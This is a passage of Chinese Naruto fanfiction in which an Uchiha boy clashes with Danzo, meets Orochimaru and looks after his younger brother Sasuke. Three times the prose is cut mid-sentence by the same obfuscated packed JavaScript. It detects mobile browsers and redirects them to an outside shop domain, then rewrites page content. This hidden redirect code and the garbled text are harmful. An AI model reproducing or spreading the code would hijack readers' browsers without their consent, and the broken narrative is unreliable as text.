羽怀深吸一口气。他的声音也冷下来。 “让我猜猜。”他说,“之后你是不是打算人为制造羁绊,把鸣人绑住?” 团藏没回话。也没反驳。 “如果当时我没出现,几分钟后,团藏大人会不会像四代火影那样在最危急的时候登场,成为鸣人心中唯一的光?” 羽怀盯着那只独眼。 “一个安全的、不会失控的九尾人柱力。对木叶是大好事。”他顿了顿,“相信水门夫妇,为了木叶,也会赞同这个提议。” “我觉得不会。” 自来也的声音传来。 他原本靠在窗边,此刻直起身。声音沉闷,但气息已经锁定了团藏。 作为四代火影水门的老师,鸣人名字的命名者,他当然知道水门夫妇对鸣人的爱。 “九尾之乱的事……”自来也的声音低下去,“我也有责任。如果当时我在木叶的话……” 他没说完。但羽怀知道他在想什么。 自来也收了许多弟子,但他们都死了。 长门,弥彦,小南,还有水门。如果他在,一切会不会不一样? “他们死了,是杀他们的人的错。”羽怀说,“不是你的错。你应该去替他们报仇。” 他用宇智波的方式安慰。简单直接。 自来也看了他一眼,没说话。 “自来也,你还是那么天真。”团藏开口,声音轻飘飘的,“如果四代夫妇真那么放心不下,就不该把一切寄托于他人的善意。木叶的安稳,从来不能靠死者的遗愿来维系。” 没人说话。 三双眼睛盯着团藏。三代的眼神里有什么东西在翻涌。自来也的气息更冷了几分。羽怀的手指又按上刀柄。 “还有你,宇智波羽怀。” 团藏的目光投过来。 “你知道你哥哥宇智波止水的万花筒写轮眼瞳术是什么吗?” 羽怀的瞳孔缩了一下。 “关你什么事?” 团藏的笑容有些冷。 “他大概没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299232|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉你吧?更别说他和宇智波鼬的计划了。”他顿了顿,欣赏着羽怀脸上的表情变化,“你是想听我告诉你,还是你信任的三代火影?” 羽怀下意识看向猿飞日斩。 三代面色凝重。 他拿起烟斗,深吸一口。烟雾扩散,烟草的气味让羽怀皱眉。烟雾后,三代的脸显得更苍老了。 “之前宇智波止水一直在执行我给他的任务。”三代开口,声音有些沙哑,“调解宇智波和村子的矛盾,把自己当作沟通的桥梁。” 他顿了顿。 “不过,根据最近的消息,宇智波一族在谋划刺杀高层,试图政变。止水此次回去参加族会,是希望用他的瞳术修改激进派的意志。趁一切还没发生。”他看向羽怀,“不过你不用担心,自来也回来了,我已经派人去拦下他们了。止水他肯定也有分寸……” “不过那所谓的族会消息,”团藏在一旁补充,“是你的另一位兄弟宇智波鼬传过来的。否则我们也不会确定。” 羽怀的手指动了动。 团藏的声音继续传来。 “你肯定能察觉到他们对你有所隐瞒。”他说,“你也知道,在他们眼中你就是一个小主战派。所以他们根本不会告诉你。他们不信任你。” 他顿了顿,似乎有些享受这一刻。 “当然,你不用担心我们的安危。因为你的族人选出的刺客人选,就是你那两位哥哥。”他的嘴角上扬,“说实话,让你来我都觉得更靠谱一些。” “够了。” 三代的话音未落—— 砰。 羽怀消失了。 下一瞬,他已经出现在团藏身上。 刀刃出鞘,无声。寒光闪过,自来也和三代都不由得面色一变。 团藏仰面躺倒,雪亮的刀尖离他眉心不到一寸。羽怀跨坐在他身上,一手握刀,一手卡着他的脖子。三颗勾玉在眼眶里缓缓转动,猩红的光在昏暗的办公室里格外刺眼。 羽怀的呼吸很平稳,平稳得像一潭死水。 “不知道为什么,”他的声音平静,“你从进门开始就一直在激怒我。” 他看着团藏那只独眼。那只眼睛里没有恐惧,只有一种得逞后的满足。 但眼底却还是闪过了一丝惊讶,似乎没发现对方的速度居然这么快。 “我不知道你的目的是什么。”羽怀说,“但你成功了。” 他缓缓收刀,慢慢从团藏身上下来。 在冲出去的瞬间,他就知道自己冲动了。 激将法虽然明显,但确实好用。尤其对他这种年轻的宇智波。 现在他的所作所为,对团藏有利。就像团藏不可能当着三代的面把他押进地牢,他也不可能在火影办公室杀了团藏。 自来也上前一步,用手臂将他挡在身后。他的背影很宽,把团藏完全遮住。 三代吸了口烟斗,深深叹气。 烟雾从他的口鼻溢出,在空气中缓缓飘散。那张布满皱纹的脸上,疲惫更深了。 “小羽怀。”他开口,声音比刚才更沙哑,“你先回家吧。相信我们能把事情处理好。” 4. 第 4 章 天色已经全黑,街上没几个人了。 宇智波羽怀走在回家的路上,长刀背在身后,刀鞘将背后的团扇族徽一分为二。脚步声在空旷的石板路上一下一下地响,很轻,但他自己能听见。 他走着走着,停了。 旁边是一家书店。 下午刚跟佐助编的瞎话,说鼬没收了他的书,这会儿自己倒是走到书店门口了。 橱窗里还亮着灯,上面摆着几本新到的畅销书,书的封面上印着夸张的宣传语。 他确实爱看小说。编瞎话也得有根据。 但此刻他并没什么心情。 叹了口气,羽怀转身。 团藏那张脸还在脑子里转。火影办公室里的每一句话,每一个眼神,都像刺一样扎在脑海里。他当着三代的面出了刀,虽然仗着年纪小没人追究,但性质仍旧十分恶劣。 他的行为坐实了团藏的话,宇智波都是情绪不稳定的炸药桶。 但这应该不是团藏的主要目的。 羽怀站住脚,眉头皱起。他的手指无意识地攥紧了拳头,又松开。 团藏的目的太直白了。挑拨他和哥哥?不可能。他回去跟止水一说就解决了。给三代下马威?有这可能,但不够。 自来也回来了。有自来也在,团藏哪来的底气? 羽怀的眉心狠狠拧了一下。 不安从心底涌上来。他深吸一口气,强迫自己压下去。 夜风从巷口灌进来,带着一丝凉意,吹得他衣角轻轻晃动。 他已经看身后跟踪他的人不爽好久了。 身后有人跟着。很隐蔽,气息收敛得很好,但瞒不过他的感知。是根部的人,从火影大楼一直跟到现在,换了三拨人,以为他没发现。 刚好,他现在缺一个出气筒。 羽怀一拐,钻进巷子深处。这里的路他熟,七拐八弯,两边是堆积的木箱和杂物。他放慢脚步,手按上刀柄,将刀抽出一寸。 月光从头顶的缝隙漏下来,落在刀刃上,反射出一点寒芒。 但他又停住了。 杀他们容易,但不杀只出气,难。刀太快,容易把人捅死。他想的是教训,不是杀人,至少现在不是。 脚步声在身后响起。很轻,但很清晰。 那名根部跟着进了巷子。面具在阴影里晃动,动作谨慎,但显然没意识到自己已经被发现了。 羽怀站在巷子深处,背对着入口。他听着那脚步声靠近,再靠近。 然后那脚步声停了。 对方察觉到不对,转身想跑。 “晚了。” 羽怀转过身,嘴角扯出一个笑。但笑容还没成型,就僵在脸上。 一道阴冷的气息突然出现。 太隐蔽了。那气息从巷子另一端的阴影里渗出来,像蛇一样无声无息。那名根部根本没察觉,他甚至还在转身。 “啊呜——” 惨叫声刚出口就被掐断。骨头错位的咔嚓声在巷子里响起,闷得像折断一根枯枝。 羽怀右脚后撤一步,长刀出鞘。 月光落在刀刃上,寒芒刺眼。三颗勾玉浮现在他眼底,猩红的光在黑暗中亮起来。 一个身影从阴影里走出来。来人有着苍白的面孔,竖瞳,嘴角挂着若有若无的笑。他把手里那具瘫软的尸体随手扔在地上,砰的一声闷响,溅起一点灰尘。 “大蛇丸,你想干什么?” 羽怀的声音很稳。刀尖斜指地面,刀刃向后,随时能挥出刀芒。 “羽怀君,不用那么生分。”大蛇丸的竖瞳微微眯起,像是在笑,又像是在打量猎物,“我们之间,不必如此紧张。” “我拒绝过你了。” 羽怀盯着他,三勾玉缓缓转动。他知道大蛇丸的底细,知道对方的一些忍术和手段。上次交手他赢了,这次在木叶,他更有把握。 “并没有。”大蛇丸吐了吐舌头,那个动作让羽怀一阵恶心,“你杀了我的一具身体,但没拒绝合作。这是两回事。”他顿了顿,笑容更深了些,“而且这次,我有信心说服你。” 羽怀没说话。 他在任务报告上省略了一些事。 大蛇丸主动找过他。那是在调查任务地点的最后一天,大蛇丸突然出现在他面前。那次交手他赢了,仗着提前掌握的情报和准备,一刀砍断了那具身体的脖子。 但现在,大蛇丸又站在他面前。 “你说你能复活,居然是真的。”羽怀盯着他,“但你现在在木叶,跑不掉了。” 三勾玉转动得更快。他幻术不擅长,但有写轮眼托底,够用。只要拖住一分钟,暗部就会赶到。 大蛇丸开口了。 “想知道团藏的底牌吗?” 羽怀的动作顿了一下。 他刚从火影办公室出来,正在想这个问题。现在大蛇丸就出现在他面前,问出这句话。 答案很明显。 “团藏还跟你保持联系。”羽怀的眼睛眯起来,“你在根部有人。或者说,他一直在找你合作。” “羽怀君果然敏锐。”大蛇丸没有否认。 “他的底气是你?”羽怀的眉头皱得更紧,“但自来也也在。还有止水,鼬,卡卡西。就凭你一个人,不够。” 大蛇丸看着他,那双竖瞳里闪过一丝玩味。他没有立刻回答,而是慢条斯理地舔了舔嘴唇,才慢慢开口。 “那如果我告诉你,宇智波止水已经死在团藏手上了呢?” 羽怀愣了一下。 他拿刀的手抖了一下,很轻微,但确实抖了,然后迅速稳住。 他的表情先是茫然,像没听懂那句话的意思。然后愤怒从眼底涌上来,把茫然冲散。 “就团藏?能杀止水哥?” 他前不久刚在火影办公室压制过团藏。团藏的实力也许还行,但绝对到不了止水的程度。止水有万花筒写轮眼,而万花筒写轮眼是宇智波斑那个级别的人物才能拥有的。 “就像你在掌握我的弱点之后,能杀我一样。”大蛇丸的语气很淡,“而宇智波止水的弱点,太明显了。他太重感情,太信任别人。只要找准时机——” “别说废话。” 羽怀的刀芒将要出手。紫色的查克拉已经在刀刃上凝聚,只要一挥—— 然后两人的脸色同时变了。 大蛇丸的表情变得玩味,嘴角的笑意更深。羽怀的神经却在一瞬间绷紧到极限。 是佐助的查克拉。 就在巷子口附近。很近,近得离谱。 这么晚了,佐助跑出来干什么? “看来我的运气不错。”大蛇丸舔了舔嘴唇,那双竖瞳里闪过一丝危险的光。 “你敢!” 羽怀的幻术瞬间发动。三勾玉的图案在眼眶里急速旋转,阴属性查克拉如潮水般涌出。同时查克拉凝聚在小腿,身体重心下压,准备瞬身砍人。 “我是来寻求合作的。”大蛇丸早有准备,幻术根本没起效,他的眼睛甚至没有对上羽怀的目光,而是看着别处,“所以先给你看诚意。” 话音落下,他的身影开始变淡,像墨水滴进水里一样迅速消散。连带着地上那具根部尸体,一起融入阴影。 “羽怀君,我们还会再见面的。” 声音在巷子里回荡,然后彻底消失。 羽怀站在原地,刀还举着,呼吸粗重。他盯着大蛇丸消失的方向,盯了两秒,确认对方的查克拉彻底远去,才缓缓收刀入鞘。 然后他转身,朝巷子口走去。 走了三步,他停下。 一道有些高大的身影正走进巷子。 鸭舌帽,墨镜,口罩,黄色风衣。怀里抱着一大摞书,摞得比头还高,走起路来晃晃悠悠,像个移动的书架。 羽怀盯着那个身影,眉头皱起来。 那个身影也看见了他。那摞书晃了晃,然后被放在地上。 “哥哥?真的是你?” 佐助解除变身,脸上露出惊喜。他朝羽怀扑过来,两条小短腿跑得飞快。 咚。 “哎哟——” 佐助捂着额头蹲在地上,眼眶里瞬间泛起点点泪光。羽怀双手抱胸,居高临下看着。 “你打我干什么?” 佐助抬起头,大眼睛里满是委屈。他揉着额头,那块皮肤已经开始泛红。 “我是好心才去给你买小说的,我就不该多管闲事!你和鼬打起来都别找我!” 他下午听说了哥哥们离谱的吵架理由,因为一本小说。虽然不理解,但想着哥哥比自己成熟,这么做肯定有道理。所以他偷偷溜出来,用变身术变成大人的样子,去书店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299233|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买了一堆书。 那些书现在整整齐齐摞在地上。畅销榜前十,他全买了。 结果换来的不是感谢,是一记脑瓜崩。 佐助仰起小脸,大眼睛狠狠瞪着羽怀,满是不服气。眼眶还红着,但一滴泪都没掉。 羽怀看着他,看着那张气鼓鼓的小脸,又有些后悔了。 刚才太紧张了。大蛇丸还在附近,佐助就这么冲进来…… 但这怎么能是佐助的错?是大蛇丸的错。他早点砍了大蛇丸,就什么事都没有。 羽怀蹲下身,视线与佐助平齐。他伸手想摸摸佐助的头,但手伸到一半又停住了。 他收回手,叹了口气。 “抱歉佐助。”他开口,声音放得很轻,“我之前……太紧张了。” 佐助看着他,那双乌黑的眼睛里还残留着怒气,但已经没那么凶了。 “紧张什么?”他问。 羽怀沉默了一秒。 “没什么。”他说,“执行任务留下的毛病。你怎么样?疼不疼?” “疼。”佐助捂着额头,声音闷闷的,“特别疼。” “那我轻点。”羽怀伸出手,用指腹轻轻揉了揉那块红印。 佐助没躲。 揉了五六秒,羽怀收回手。 “书是你买的?” “嗯。”佐助指了指地上那摞,“畅销榜前十,全买了。钱从你抽屉里拿的。” 羽怀愣了一下,然后笑了。 “行。”他说,“回家慢慢看。” 他站起身,弯腰把那摞书抱起来。比他想象的沉,佐助这小身板能抱这么远,也是不容易。 他将书放下,掏出了一个封印术卷轴,将书全部放了进去。 “走吧。” 他拿着卷轴往前走。走了两步,回头。 佐助还站在原地,低着头,不知道在想什么。 “佐助?” 佐助抬起头。 “哥哥,”他开口,声音有些犹豫,“你刚才……是不是遇到坏人了?” 羽怀的动作停了一下。 “没有。” “可是我闻到了些味道。而且,我刚才好像看见有别人进来。” 羽怀沉默了。 犹豫了一会儿还是决定简单说说。 “是坏人。”羽怀说,“但已经跑了。” “那你受伤了吗?” “没有。” “那就好。”佐助点点头,走过来,牵住他的手。 “回家吧。”他说。 羽怀低头看着他,看着那个小小的脑袋,看着那攥紧自己手指的小手。 “好。”他说。 两人走出巷子,走进月光里。 街上还是没什么人。路灯投下昏黄的光圈,在石板路上画出一圈圈模糊的轮廓。 佐助走在他身边,脚步轻快,时不时抬头看他一眼。 “哥哥。” “嗯。” “那些书你看完,能不能也借我看看?” “你才七岁。” “七岁怎么了?”佐助不服气,“鼬哥七岁的时候已经看很多书了。” “鼬是鼬,你是你。” “可是我想看。” 羽怀低头看他。那张小脸上满是认真,眼睛里亮晶晶的,映着月光。 “行。”他说,“但得等我先看完。” “成交。” 佐助露出一个满意的笑。他松开羽怀的手,往前跑了几步,又回头看他。 “哥哥快点!” 羽怀站在原地,看着那个小小的身影在月光下奔跑。那件深蓝色的衣服被风吹得鼓起来,像一只笨拙的蝴蝶。 他想起刚才大蛇丸说的话。 “宇智波止水已经死在团藏手上了。” 他想起止水。想起那个总是笑着揉他头发的哥哥,想起那些一起训练的日子,想起止水说“羽怀将来一定会成为了不起的忍者”时的表情。 他想起团藏那只独眼里一闪而过的得意。 不安又涌上来。像一只手,慢慢攥紧他的心脏。 但佐助在前面跑,在月光下跑,一边跑一边回头喊他。 他深吸一口气,暂时将脑海中的杂念去除,迈步跟上去。 “来了。” 5. 第 5 章 时间已经有些晚了,佐助很快就困了。 宇智波羽怀背着佐助走在石板路上,脚步声在寂静的巷道里回荡。 佐助趴在他背上,双手环着他的脖子,呼吸均匀,不知是真的睡着了,还是在装睡。 佐助长高的很快,也许再过几年他就背不动了。当然,也可能先是佐助不想让他们背了。 耳边传来弟弟平静的呼吸声,但羽怀的思绪却仍旧如同一团乱麻。 负责监视他的根部忍者死在他面前、大蛇丸的突然现身、那句“止水已死于团藏之手”、出现在危险边缘的佐助,每一件事都像一把钝刀,在他心头反复切割。 他应该立刻去火影大楼,向三代目汇报大蛇丸的情报;或者他应该马上去找止水和鼬,搞清楚他们到底在做什么;他应该…… 但他只是将背上的弟弟往上托了托,继续朝族长宅走去。 佐助的体温透过衣物传来,这让宇智波羽怀稍微好受了一些。虽说好色仙人平时一副吊儿郎当的模样,但在这种关键时刻还是值得信任的,至少比他的那两个哥哥靠谱。 不过止水和鼬也都是没成年的孩子罢了,比不过经验老道的自来也也算正常。 宇智波族长宅的门扉在夜色中显得格外厚重。 羽怀单手推开院门,另一只手稳稳托住背上的佐助。庭院里的灯没有点亮,整个宅邸笼罩在一片黑暗之中。 富岳和美琴果然还没有回来。 羽怀在玄关处脱下鞋子,抱着佐助来到房间,将佐助轻轻放在榻榻米上。佐助似乎被这细微的动作惊扰,他的眼皮动了动,却没有完全醒来,只是含糊地嘟囔了一句:“哥哥……” “我在。”羽怀低声应道,手指拂过弟弟额前凌乱的碎发。 他直起身,目光扫过家中空荡荡的走廊。墙上的挂钟指向晚上九点四十七分,平常这个时间佐助应该已经睡了。今天也算是辛苦他了。 但对于大人而言,这个时间离睡觉还早。 族会应该已经结束了,父亲作为族长,通常会在会后与其他长老商议后续事宜,而母亲作为族长夫人,也会留在那里协助接待。 鼬现在也不在家中。 也就是说,家里现在只有他和佐助两个人。 羽怀的视线转向窗外,望向木叶中心的方向。 “哥哥要去哪里?” 佐助稚嫩的声音从身后传来,带着刚睡醒的沙哑。 羽怀转过身,看见佐助已经坐了起来,那双乌黑的眼睛在黑暗中出奇的亮,此刻正一眨不眨地盯着他。 “有些事情需要处理。”羽怀尽量让声音听起来平静,“你先休息,我很快就回来。” “不要。” 佐助几乎是立刻反驳。他从榻榻米上爬起来,赤脚走到羽怀面前,仰起头看着哥哥:“你要去找火影大人,对不对?” 羽怀微微一愣。 佐助的观察力比他想象中要敏锐得多。也许是自己过于放松了,总之,这个七岁的孩子,已经能够从哥哥细微的表情变化中读出那些未说出口的打算。 “佐助真聪明。”羽怀没有否认,“今晚发生了一些事情,我必须向火影大人汇报。” “那鼬呢?”佐助的声音突然低了下去,“父亲和母亲呢?他们为什么还没有回来?” …… 羽怀没有说话。 他也不知道,他今天早上刚做完任务回来。鼬和止水一直有事瞒着他,三代也是。 他蹲下身,让自己的视线与佐助平齐。在昏暗的光线中,他能清楚地看见弟弟眼中闪烁的不安,是那种属于孩子的、对未知夜晚的恐惧,还有对家人去向的担忧。 “族会结束后,父亲和母亲通常会和长老们多聊一会儿。”羽怀解释道,声音放得很轻,“鼬……他可能有自己的任务。” “任务。”佐助重复着这个词,语气里带着一丝不易察觉的失落,“又是任务。” 羽怀沉默了片刻。 他知道佐助在想什么。 身为忍者,任务总是排在第一位,而恰好他们家除了佐助,都是忍者。 父亲的任务、母亲的任务、鼬的任务,还有他自己的任务。再过个五六年,等佐助成为忍者,也会有属于他的任务…… “我很快就回来。”羽怀再次说道,试图让自己的语气听起来可信,“我保证。” “骗子。” 佐助突然扭过头,声音里带着压抑的怒气:“你和鼬都喜欢这么说,不想陪我练习可以直说的,我也没有很想和哥哥们训练。” …… 宇智波羽怀不知道该说些什么。 “你走吧,我一个人也可以的。” “额……这次真的不一样,不对,我从来没有嫌弃过你的,佐助。倒是鼬他们,先前鼬老是缠着止水训练,止水他还同意了,而且基本不带上我。”羽怀伸出手,想要揉揉弟弟的头发,却被佐助躲开了。 他也没有强求,只是开始朝着佐助吐槽他那两个不是亲兄弟却胜似亲兄弟的兄长。 现在想想,之所以不带上自己,可能也是怕他提前察觉到些什么。 三代的意思他大概也能猜到,就是想让他远离家族和村子这片泥沼,等事情解决完后再回来。 难怪最近分配的任务强度明显低了很多,但繁琐程度却大幅度提升,大概是想让他一直待在外面。 “他们……那他们确实有点过分。”听了一些鼬和止水的“坏话”,佐助感觉自己的情绪被打断了。 羽怀看到佐助的表情,就知道自己的话语奏效了。 “所以说佐助,我们其实是一伙的,他们两个一直有事情瞒着我们,所以我这次去火影办公室就是要将他们两个给揪出来。” 佐助的面上闪过一丝迷茫,转而他用手托着自己的下巴摆出思考的样子。过了一会才说道:“但是,能不能今天先别去……” 似乎是有些害羞,佐助的声音越来越小。 羽怀看着弟弟低下来的头,突然意识到一件事。 佐助并不是真的在生气。 或者说,那怒气只是表象,掩盖在下面的,是一种更深层的不安。 这种不安来源于鼬和父母都没有回来的事实,来源于这个过于安静、过于空旷的家,来源于一个七岁孩子对黑夜的本能恐惧。 他只是不想一个人待着。 但他不肯直接说出口。 好吧,这个理由他有些无法拒绝。之前鸣人的事肯定也只是口是心非而已,自己就应该强势一点先将鸣人带回来。 反正团藏一直看宇智波不爽,要找茬也不差这一件。 羽怀轻轻叹了口气。他重新站起身,走到佐助身边,声音温和下来:“那这样吧,我先陪你一会儿,等你睡着了再走。” 佐助没有回头,但肩膀的耸动停止了。 “我才不需要人陪。”他闷闷地说,语气却已经软了下来。 “是我想陪你。”羽怀从善如流地改口,“我可是刚做完长期任务回来,今天又发生了这么多事,我也需要休息一下。” 这个说法显然让佐助更容易接受。他转过身,脸上还带着故作严肃的表情,但眼神已经柔和了许多:“那……只能一会儿。” “好。”羽怀点头,“你想做什么?看书?还是……” “讲故事。”佐助突然说,然后又像是觉得这个要求太过幼稚,连忙补充道,“我是说,如果你实在想讲的话。” 羽怀忍不住笑了。他走到书架旁,开始翻找适合的故事书。宇智波家的藏书很丰富,从忍术卷轴到历史典籍,从文学作品到儿童读物,应有尽有。 “这本怎么样?”羽怀抽出一本《木叶英雄传》,封面是初代火影千手柱间的画像。 “听过了。”佐助摇头,“上个月母亲讲过。” “那这本呢?”羽怀又拿起一本《根性忍传》,这是自来也早期的作品,讲述一个普通忍者通过努力成为强者的故事。 “也听过了。”佐助撇了撇嘴,“鼬以前念过。” 看来这些书架上的书佐助都应该看过了。 宇智波羽怀想了想,决定从佐助新买来的那些书里挑一本。 他将手伸到了封印术卷轴中,随机抓出了一本书。 那是一本装帧精美的书籍,封面用烫金字体写着《亲热天堂系列?恩爱夫妻物语篇》。封面的插画是一对相拥的男女,金发蓝眼的男子笑容温暖,红发女子依偎在他怀中,两人的眼神交汇处仿佛有光。 四代目夫妇。 羽怀的呼吸几乎停滞了一瞬。 他认得那两张脸,波风水门和漩涡玖辛奈。今天刚见过的那个黄发孩子,也就是漩涡鸣人,有着和四代目一模一样的发色和眼睛。 而此刻,这对已经逝去的夫妇就这样静静地印在书的封面上,笑容灿烂得有些刺眼。 “哥哥?”佐助的声音将他拉回现实。 羽怀这才意识到,自己的手指正微微颤抖。他深吸一口气,强迫自己移开视线,但脸颊却不受控制地开始发烫。这本书的内容,哪怕是对已经十岁的他来说,也实在有些太早了。 “这本书……”羽怀的声音有些干涩,“你是怎么买到的?” 佐助眨了眨眼,脸上露出一种混合着得意和心虚的表情:“我在书店看到的。店家说这本书在畅销榜上排名第一,但是说我年龄太小,不让买。” “所以?” “所以我用了变身术。”佐助理直气壮地说,“把自己变成大人的样子,然后就买到了。” 羽怀一时语塞。他不知道该夸佐助的忍术运用得当,还是该批评他滥用变身术购买不适合年龄的书籍。最终,他只能无奈地摇头:“这种书……不适合你看。” “为什么?”佐助的好奇心被勾了起来,“里面讲的是什么?” “是……”羽怀卡壳了。他该怎么向一个七岁的孩子解释,这是一本讲述男女情爱的书?而且主角还是四代目夫妇? 他的脸颊更烫了。 “总之就是不适合。”羽怀最终选择了一个最笨拙的解释,“等你长大了再看。” 佐助显然对这个回答不满意,但他没有继续追问,只是盯着那本书的封面看了几秒,突然说:“那两个人……我好像在什么地方见过。” 羽怀的心脏猛地一跳。 “在慰灵碑。”佐助想起来了,“他们的名字刻在最上面。父亲说过,那是四代目火影和他的妻子。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299234|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”羽怀低声应道,手指无意识地摩挲着书脊。 他想起了今天见过的鸣人。虽然像今天这样的恶性霸凌事件以前发生的很少,但木叶村民对鸣人的态度确实比较糟糕。村子里的人对他避之不及,孩子们也不愿意和他玩。 几乎所有人都认为,这个脸上长着六根胡须的小孩就是九尾妖狐的化身,是那场夺走他们四代目火影大人和无数木叶忍者生命灾难的罪魁祸首。 或许对他们来说,自己的所做所谓才是正义的,是在为四代目夫妇报仇吧。 一种难以言喻的情绪在胸腔里翻涌。 “哥哥?”佐助的声音再次响起,带着一丝疑惑,“你怎么了?” “没什么。”羽怀迅速将《恩爱夫妻物语》塞回卷轴中,动作快得几乎有些慌乱,“我们换一本。” 他重新在卷轴中寻找,手指因为刚才的情绪波动而有些不稳。终于,他利用自己精细的查克拉控制和感知技巧,选择了一本比较安全的书——《忍界之神的羁绊物语》。 这本书他读过。讲述的是初代火影千手柱间与宇智波斑从相识到决裂的故事,作者用了一种近乎浪漫的笔触,描绘了那个时代最强大的两个人之间复杂而深刻的关系。虽然其中不乏艺术加工,但核心内容是基于历史事实的。 最重要的是,这本书里没有那些令人脸红心跳的描写,只有关于理想、信念、友情与对立的故事。 “这本怎么样?”羽怀将书抽出来,转身看向佐助,“讲的是初代火影的故事。” 佐助的眼睛亮了一下。对于宇智波家的孩子来说,千手柱间这个名字有着特殊的意义——他是宇智波的敌人,也是宇智波的盟友;是终结战国时代的英雄,也是迫使宇智波迁居木叶的推手。这种复杂的身份,让关于他的故事总是带着一种禁忌般的吸引力。 “可以。”佐助点了点头,语气里带着一丝勉强,但眼神已经出卖了他的期待。 羽怀在榻榻米上坐下,佐助立刻凑了过来,挨着他的肩膀坐下。这个距离很近,近到羽怀能闻到弟弟头发上淡淡的皂角香气,能感觉到那小小的身体传来的体温。 他翻开书页,开始朗读。 “在战国时代中不同寻常的一年,千手柱间与宇智波斑在南贺川畔第一次正式会面。那是一个月圆之夜,河水倒映着清冷的月光,两个家族的少年站在河的两岸,彼此对视……” 羽怀的声音很平稳,带着一种特有的温和节奏。他刻意放慢了语速,让每一个字都清晰地传入佐助耳中。书中的文字优美而克制,将那个遥远时代的故事娓娓道来。 佐助起初还坐得笔直,但随着故事的推进,他的身体渐渐放松,脑袋不自觉地靠在了羽怀的肩膀上。呼吸变得越来越均匀,眼皮也开始打架。 羽怀继续念着,声音越来越轻。 “……柱间说:‘我想要建立一个村子,让所有的孩子都不必再上战场。’斑看着他,第一次意识到,这个千手家的继承人,和他有着同样的梦想。” 当念到这一句时,羽怀感觉到肩膀上的重量彻底沉了下去。 他侧过头,看见佐助已经睡着了。长长的睫毛在脸颊上投下浅浅的阴影,嘴唇微微张开,发出细微而均匀的呼吸声。那只小手还无意识地抓着他的衣袖,像是怕他离开。 羽怀静静地看了弟弟几秒,然后极其缓慢地合上书。 他没有立刻起身,而是维持着这个姿势,让佐助能继续靠着他安睡。 窗外的月光透过纸窗洒进来,在地板上铺开一片银白。远处传来隐约的虫鸣,更衬得房间里寂静无声。 时间一分一秒地流逝。 羽怀的思绪又开始飘散。他想起了止水,想起了大蛇丸的话,想起了根部忍者的失踪,想起了火影办公室里团藏那张阴沉的脸。每一个问题都像是一个绳结,缠绕在一起,织成一张看不见的网。 但他现在不能动。 因为佐助还靠在他的肩膀上,睡得正熟。 又过了大约十分钟,羽怀确定佐助已经进入深度睡眠,这才极其缓慢地站起身。他将弟弟轻轻放平在榻榻米上,为他盖好薄被,然后从柜子里取出一个枕头,垫在他的头下。 做完这一切,羽怀站在房间中央,最后看了佐助一眼。 “等我回来。”他无声地说,然后转身走向玄关。 就在他的手触碰到门把的瞬间—— “咔哒。” 门从外面被推开了。 宇智波美琴站在门口,手里提着一个食盒,脸上带着疲惫但温柔的笑容。当她看见站在玄关的羽怀时,微微愣了一下。 “羽怀?你还没休息吗?” 她的声音很轻,像是怕吵醒屋里的佐助。但那双眼睛却敏锐地扫过羽怀的脸,捕捉到了他眼中来不及掩饰的凝重。 除了佐助,家里的其他人似乎都喜欢瞒着对方做一些事情。可能本意是好的,但结果却往往不尽如人意。 羽怀张了张嘴,一时间竟不知该从何说起。 而美琴已经越过他,看见了躺在榻榻米上熟睡的佐助。她的眼神柔和下来,但随即又转向羽怀,轻声问道: “族会的事情,你就先不要管了。先好好休息吧,富岳已经去见三代大人了。” 6. 第 6 章 羽怀站在原地,他的手指还搭在门把上。 他应该应一声“好”,然后转身回房间,之后再找机会从窗户翻出去。 这是最省事的回答,不会让母亲担心。 但他没有。 如果这么做岂不是和止水他们一样了吗?羽怀觉得自己在这一点上比他们要做的好。 当然,现在他可能才是这个家里对族内情况了解最少的人。 除了佐助。 “妈妈。”他开口了,但喊了两个字又不知道该从哪说起,于是就挑了最近发生的事情开始说。 “我在回来的路上,遇到了大蛇丸。” …… 说完他就有些后悔了。 这显然不是什么好的开场白。 宇智波羽怀伸手挠了挠头,张口想补救一下。 美琴的动作停住了。 她提着食盒的手抖了一下,脸上的笑容变得有些僵硬,那双和佐助一样乌黑、和鼬一样沉静的眼睛,在瞬间变得锐利起来。 他除了是宇智波一族的族长夫人,也是木叶的上忍。 虽说生了两个孩子后基本就没有再出任务了,但这不代表她已经失去战斗力了。 为了保护自己的孩子,母亲能做到许多常人做不到的事情。 “……在哪里?” “警务部旧址附近的那片巷子,那家书店的后面。”话已经说出口了,羽怀也没有继续隐瞒,“他杀掉了跟踪我的根部忍者,然后和我交谈了几句。” 美琴沉默了片刻。她将食盒放在玄关旁的矮柜上,动作很轻,几乎没有发出声响。 